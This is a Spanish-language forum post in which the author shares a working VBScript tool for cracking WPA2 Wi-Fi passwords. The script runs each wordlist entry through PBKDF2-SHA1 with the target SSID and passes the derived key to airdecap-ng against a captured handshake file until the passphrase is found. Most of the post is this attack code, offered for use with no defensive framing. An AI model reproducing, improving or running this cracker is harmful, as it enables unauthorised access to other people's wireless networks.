Bueno, tenia mucho tiempo que no andaba por aqui, pero bueno, en los ultimos dias he estado programando un pequeño script en vbs el cual me ha dado buenos resultados es rapido y no consume CPU, ni memoria como el ya conocido aircrack, se me ocurrio hacelo de esta manera ( cosas de locos, ya saben )
aqui les dejo el codigo si alguien puede perfeccionarlo pues mucho mejor,[/img][/img][/img] requisitos :
airdecap-ng (librerias)
ChilkatAx-9.5.0-win32.zip ( http://www.chilkatsoft.com/download/9.5.0.49/ChilkatAx-9.5.0-win32.zip )
diccionario y dale pedale.....
Código
Dim fso, outFile, variable, pw, tama ' abre el diccionario acum = 0 const ForReading = 1 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objTextFile = objFSO.OpenTextFile _ ("f:\wpa2\clarohauwai-3.txt", ForReading) start_time = time() ' empieza a recorrer el diccionario Do Until objTextFile.AtEndOfStream strNextLine = objTextFile.Readline arrServiceList = Split(strNextLine) Set crypt = CreateObject("Chilkat_9_5_0.Crypt2") success = crypt.UnlockComponent("pepe") If (success <> 1) Then outFile.WriteLine(crypt.LastErrorText) WScript.Quit End If ' pasada del diccionario WPA passphrase pw = arrServiceList(0) 'Induction pwCharset = "ansi" acum = acum + 1 ' Hash algoritmo: sha1, md2, md5, etc. hashAlg = "sha1" ' ssid y lo convierte a hex strString = "Claro_xxxx" 'Coherer strHex ="" For i=1 To Len(strString) strHex = strHex + Hex(Asc(Mid(strString,i,1))) Next ' asigna la variable a ssidHex ssidHex = strHex ' la WPA key calcula 4096 interaciones. iterationCount = 4096 outputBitLen = 256 enc = "hex" start_time2 = time() ' reliza el calculo del hash wpaHexKey = crypt.Pbkdf2(pw,pwCharset,hashAlg,ssidHex,iterationCount,outputBitLen,enc) ' llama el airdecap y le envia el hash calculado Set WshShell = CreateObject("WScript.Shell") Return = WshShell.Run("f:\wpa2\airdecap-ng.exe -l -k " & wpaHexKey & " -e " & strString & " F:\WPA2\rules\Claro_xxxx.cap",0, True) ' imprime variables WScript.echo "SSID :", strString , " | Cantidad:",acum WScript.Echo "------------------------------------------------------------------------------" WScript.echo "CLAVE :", pw WScript.Echo "------------------------------------------------------------------------------" WScript.echo "WPA PMK :", wpaHexKey WScript.Echo "------------------------------------------------------------------------------" ' determina el size del archivo que genera el airdecap filename = ("F:\WPA2\rules\Claro_xxxx-dec.cap") Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(filename) tama = f.Size ' si el archivo -dec.cap es alterado, ocea cuando se le envia el hash entonces....blablabla If tama > 24 Then WScript.Echo " " WScript.Echo "========================================" WScript.Echo " " WScript.Echo "Clave desifrada 100% :", pw WScript.Echo " " WScript.Echo "========================================" Exit do End If Loop 'airdecap-ng -k A288FCF0CAAACDA9A9F58633FF35E8992A01D9C10BA5E02EFDF8CB5D730CE7BC -e Coherer wpa-Induction.pcap | find "decrypted WPA"
Suerte !!!!
Mod: Los códigos deben ir en GeSHi